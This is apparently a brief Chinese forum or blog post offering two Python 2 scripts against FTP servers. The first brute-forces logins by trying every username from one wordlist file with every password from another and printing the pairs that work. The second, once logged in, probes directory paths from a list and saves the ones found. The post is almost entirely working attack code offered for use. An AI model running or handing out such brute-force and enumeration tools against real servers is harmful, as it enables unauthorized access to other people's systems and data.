l临时简单的验证,还需要优化...
登录:
import ftplib usr = open('usr.txt','r') ftp = ftplib.FTP("*************") for x in usr: x=x.strip() pwd = open('pwd.txt','r') for y in pwd: y=y.strip() try: ftp.login(x,y) print x+':'+y+'----------------------------------' except ftplib.error_perm: print x+':'+y+':'+'error' ftp.quit() usr.close() pwd.close()
目录
import ftplib ftp = ftplib.FTP("weburl") ftp.login("user", "pass") f = open('ftplist.txt','r') i=0 for x in f: try: ftp.dir(x) w =open('result.txt','a') print >>w,x w.close() i+=1 except ftplib.error_perm: i+=1 print'not found',str(i) ftp.quit() f.close()